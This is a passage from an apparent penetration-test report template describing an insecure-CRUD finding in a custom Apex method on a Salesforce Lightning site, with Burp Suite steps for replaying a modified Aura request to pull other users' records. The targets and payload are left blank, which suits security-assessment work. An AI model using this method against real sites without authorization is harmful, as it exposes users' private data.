****Remediation:**** Enforce [record level security (RLS)] (https://help.salesforce.com/articleView?id=security_data_access.htm&type=5) on the vulnerable object to ensure records are only able to be retrieved by the record owner, and privileged users of the application.

Insecure CRUD permissions on custom Apex class method

****Title:**** [salesforce.site.com] Insecure CRUD permissions on custom Apex **class** method

*** **Risk:**** *Low/Medium/High*

*** **Impact:**** *Low/Medium/High*

*** **Exploitability:**** *Low/Medium/High*

*** **CVSSv3:**** *CVSS_Score* *CVSS_STRING*

****Target:**** The Salesforce Lightning instance at .

****Impact:**** The Salesforce Lightning instance is implementing a custom **class**. One of the methods of **this class** does not carry-out sufficient CRUD permission checks. As such, an unauthenticated attacker can abuse **this** method in order to extract data **from** sensitive fields which are normally not accessible when accessed directly **using** built-in controller methods.

****Description:**** The web application at is built **using** [Salesforce Lightning] (<https://www.salesforce.com/eu/campaign/lightning/>). *Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the [Aura] (<https://developer.salesforce.com/docs/component-library/bundle/aura:component>) framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application.*

During testing it was discovered that the Salesforce Lightning instance has been customized to include a custom **class**, and method. Namely: **. **This** method takes the and parameters as input.

When called, **this** method queries the instance **for using** the and parameters, and returns a value in the response. However, the method does not carry out sufficient authorization checks to determine **if** the *object/field/record* requested should be accessible to the user and as such, an attacker may be able to list the values in the *object/field/record* **for** which they **do** not normally have the permissions to view.

****Steps to Reproduce:****

- 1) Ensure Burp Suite is sniffing all HTTP(S) requests in the background
- 2) Navigate to , **this** is to retrieve a template aura request **for use**
- 3) Find a POST request in Burp's Proxy history to the endpoint. Send it to the repeater
- 4) Modify both the header and Burp's target field to
- 5) Change the POST parameter to the payload below. Please note that all other parameters should remain untouched, and that in **this** example payload, a pageSize of 100 is used **for** speed however more records can be retrieved:
- 6) Submit the request

7) The response contains sensitive information belonging to other users, an example screenshot has been provided below:

{{Screenshot}}

****Remediation:**** Modify the method to ensure that the user is authorized to view the requested data **using** the method. **If** they are not, it should perform a

Aaron Costello

Archived from <https://www.enumerated.de/index/salesforce>. Rendered offline from the local Markdown copy.